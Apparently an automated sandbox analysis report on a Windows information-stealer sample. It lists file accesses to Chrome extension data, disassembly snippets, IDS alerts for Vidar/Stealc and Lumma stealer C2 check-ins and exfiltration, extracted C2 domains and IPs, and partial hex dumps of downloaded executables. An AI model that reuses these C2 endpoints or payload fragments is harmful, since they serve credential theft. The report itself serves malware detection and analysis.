Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	0_2_003EE385
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	0_2_003EE385
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	1_2_004014AD
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	8_2_000B8051
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	8_2_000BA0B9
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	8_2_000A82E8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	8_2_000CE318
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_000AA3BF
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	8_2_000D43F8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	8_2_000C8528
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	8_2_000D45E8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_000D2601
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, ebx	8_2_000A264D
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_000B665F
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_000BA687
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	8_2_000D07F8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_000C0813
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	8_2_000A2849
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	8_2_000AA86A
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	8_2_000AC89C
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	8_2_000D68A8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp eax	8_2_0009E914
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	8_2_00092928
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_000C093D
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp eax	8_2_0009E9A5
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	8_2_000D6A38
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	8_2_000AAA47
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	8_2_0009EAC6
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	8_2_000B4AD8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_000C0B22
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	8_2_000CCB36
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_000C0B43
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	8_2_0009CB78
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_000D6BB8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	8_2_000D6BB8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_000BAC81
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_000B4D38
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_000B2D48
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	8_2_0009ED6B
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	8_2_00098D88
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_000CCE48
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	8_2_000D4E98
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_000D4E98
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp ecx	8_2_000D2EAE
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [edx], 0000h	8_2_000ACEB7
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp eax	8_2_000B6EC4
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_000C0F18
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	8_2_000C0F18
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	8_2_000D0F18
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	8_2_000BCF30
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp ecx	8_2_000D2F6C
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	8_2_000A0F6F
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [eax], dx	8_2_000AF138
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [esi], ax	8_2_000AF138
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov ebp, eax	8_2_000971D8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	8_2_000D3290
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_000BF2B8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	8_2_000D3390
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	8_2_000B93AF
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	8_2_000A340E
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	8_2_00095468
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [eax], dx	8_2_000AF540
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_000BB56A
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	8_2_000D36C7
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	8_2_000B5824
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	8_2_000D3833
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	8_2_00091878
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	8_2_000D1918
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	8_2_000BDA58
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	8_2_000BBB20
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp eax	8_2_000B7B48
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov word ptr [edx], ax	8_2_000B7B69
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	8_2_000B9BA8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_000B9BA8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	8_2_000B9BA8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp eax	8_2_000B5C1B
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_000D5C62
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	8_2_000A3CBA
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov edi, ecx	8_2_000A1D02
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	8_2_00093D78
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	8_2_0009DDC4
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	8_2_000A3E69
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	8_2_0008DED8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then dec ebx	8_2_000CBF08
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_000BFF74
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then jmp ecx	8_2_00095FB0
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_000BFFD5
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00099FE8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00099FE8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.5:49831 -> 95.164.90.97:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.164.90.97:80 -> 192.168.2.5:49831
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 95.164.90.97:80 -> 192.168.2.5:49831
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.5:49990 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49972 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49972 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49979 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49979 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:43 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:48 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:49 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:50 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 